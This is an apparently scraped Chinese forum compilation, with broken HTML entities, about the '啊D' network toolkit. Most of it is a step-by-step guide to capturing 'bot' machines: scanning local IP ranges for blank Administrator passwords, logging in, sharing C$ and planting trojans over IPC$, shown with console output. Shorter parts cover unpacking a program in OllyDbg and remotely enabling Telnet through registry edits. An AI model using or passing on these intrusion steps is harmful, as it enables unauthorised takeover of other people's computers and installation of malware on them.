啊d网络工具包请问下 啊D网络工具包打开对方TELNET的原理

如何使用啊D网络工具包扫描指定的IP地址，并将其作为肉鸡？

现在最流行的抓鸡方法就是用啊D工具包抓本地肉鸡，有很多人都说用啊Dnbsp;工具包扫不到肉鸡，其实扫描的ip也是有技巧的，网上有很多抓135肉鸡的教程，可都讲的比较模糊，尤其扫的ip更是只字不提，这样新手以为随便找段ip就可以了，可是扫了半天什么也没有，都在纳闷，为什么别人可以扫到，我就扫不到？原因就是没找到本地的ip段。

。

。

首先打开IE在地址栏输入,打开后刷新一下就是你外网的ip，也就是公网ip，例如你的ip是218.76.40.145，那你就在啊D工具的肉鸡查找的ip框里输入218.76.40.1，后面的ip会自动显示为218.76.40.255这个我们不用管，下面点击设置--选猜测administrator只帐号并关闭。

现在大家扫一下看看，是不是可以扫到很多呢。

我想应该可以扫到很多。

扫到了以后就要对方的主机了，具体步骤右击IP地址:nbsp;222.189.115.242nbsp;Administratornbsp;(空)nbsp;nbsp;nbsp;WinXPnbsp;[5.1]nbsp;nbsp;nbsp;打开对方的nbsp;并选择启动很快就可以登陆到对方的主机，输入用户名Administratornbsp;密码为空直接回车就可以了，进入后先开启c盘做共享，命令nbsp;sharenbsp;c$=c:,例如*===============================================================enbsp;tonbsp;Microsoftnbsp;nbsp;Server.*===============================================================C:Documentsnbsp;andnbsp;SettingsAdministratoramp;nbsp;sharenbsp;c$=c:c$nbsp;共享成功。

C:Documentsnbsp;andnbsp;SettingsAdministratoramp;gt;共享开启成功就可以种植你的木马了，右击IP地址:nbsp;222.189.115.242nbsp;Administratornbsp;(空)nbsp;nbsp;nbsp;WinXPnbsp;[5.1]选择木马（IPC$）种植机把木马种植到c盘最后显示无效的句柄，如：建立nbsp;222.189.115.211IPC$nbsp;管道....nbsp;OK!复制文件到对方主机....nbsp;OK!读取对方机子的时间....nbsp;2006-08-20nbsp;15:55nbsp;OK!在对方机子添加任务....错误:nbsp;1702nbsp;绑定句柄无效。

--------------------------------------------------我们必须手工运行。

。

先用dir查看一下如：C:nbsp;的目录2006-01-02nbsp;01:55nbsp;nbsp;nbsp;amp;lt;DIRamp;gt;nbsp;nbsp;nbsp;nbsp;nbsp;WINDOWS2006-01-02nbsp;02:00nbsp;nbsp;nbsp;amp;lt;DIRamp;gt;nbsp;nbsp;nbsp;nbsp;nbsp;Documentsnbsp;andnbsp;Settings2006-01-02nbsp;02:12nbsp;nbsp;nbsp;amp;lt;DIRamp;gt;nbsp;nbsp;nbsp;nbsp;nbsp;Programnbsp;Files2006-01-11nbsp;02:58nbsp;nbsp;nbsp;amp;lt;DIRamp;gt;nbsp;nbsp;nbsp;nbsp;nbsp;Ghost2006-01-12nbsp;02:58nbsp;nbsp;nbsp;amp;lt;DIRamp;gt;nbsp;nbsp;nbsp;nbsp;nbsp;boot2006-05-17nbsp;09:42nbsp;nbsp;nbsp;42,377,996nbsp;Rav18_26_12.exe2006-05-17nbsp;09:59nbsp;nbsp;nbsp;amp;lt;DIRamp;gt;nbsp;nbsp;nbsp;nbsp;nbsp;RAVBIN2006-05-17nbsp;20:01nbsp;nbsp;nbsp;amp;lt;DIRamp;gt;nbsp;nbsp;nbsp;nbsp;nbsp;csc1082006-06-06nbsp;21:41nbsp;nbsp;nbsp;amp;lt;DIRamp;gt;nbsp;nbsp;nbsp;nbsp;nbsp;Othello2006-06-15nbsp;19:01nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;223nbsp;cmd.txt2006-06-15nbsp;19:01nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;4nbsp;response.txt2006-06-14nbsp;20:26nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;34,466nbsp;VETlog.dmp2006-06-14nbsp;20:26nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;1,467nbsp;VETlog.txt2006-06-18nbsp;11:20nbsp;nbsp;nbsp;amp;lt;DIRamp;gt;nbsp;nbsp;nbsp;nbsp;nbsp;Downloads2006-06-18nbsp;11:51nbsp;nbsp;nbsp;amp;lt;DIRamp;gt;nbsp;nbsp;nbsp;nbsp;nbsp;QQFO2006-07-03nbsp;10:24

啊D工具包！使用方法！

我们来用Ollydbg载入.先点“确定”再点“否”，继续...按F8单步向下走， 为了大家看得清楚.我就点上面的哈，大家看``ESP地址出来了！看：ESP=0012FFC0， 我们在下面的命令栏里输入：dd 0012FFC0->Enter,再在数值的下面右键-》断点-》 硬件访问-》字，然后按F9运行，运行后到这里，呵`继续...按F8单步走， 看`有红色向上跳转的箭头，我们在下一行用右键-断点-运行到所选位置， 再继续向下走，又来了个...这次我们要在向上的箭头下面第四行也就是 PUSH之后继续相同的步骤.继续走...又来..同上的步骤..看`我们来到了RETN..继续， OK`到达出口点了.我们用：Ollydbg脱壳调试进程，这个修正值要记住， 因为后面要用到，复制下来：C7038 好`点“脱壳”，保存为任意文件名，大家看`Borland Delphi 6.0 - 7.0，没壳了... 呵`不过还没有完哦，我们双击它试试，啊哦``运行不了...我们来修复..先运行下 原来未脱壳的程序，然后把我们刚刚复制下来的C7038粘贴到OEP处，点“自 动查找IAT，再获取输入表`大家看``都是有效的`呵呵`最后我们点修复转储文 件，选择我们刚脱掉壳的那个`现在我们来看看能不能运行`` 怎么样？呵呵``能运行了`壳也脱了``教程就到这里咯`呵` 拜拜！！！

请问下 啊D网络工具包打开对方TELNET的原理

先连接对方的远程注册表服务，发现可用时修改注册表键值，打开服务并修改默认端口，如果对方远程注册表服务不可用则先 start的扩展命令打开对方的服务，这要求对方的电脑是winnt或是win2000系统且administrator用户空口令或是你的计算机用户口令与对方相同。

如果对方是winxp系统，guest没有权限就会出现权限不足的错误 提示拒绝访问 啊D的远程管理是基于对方5000端口的 如果对方关闭该端口，一样会出现拒绝访问的问题。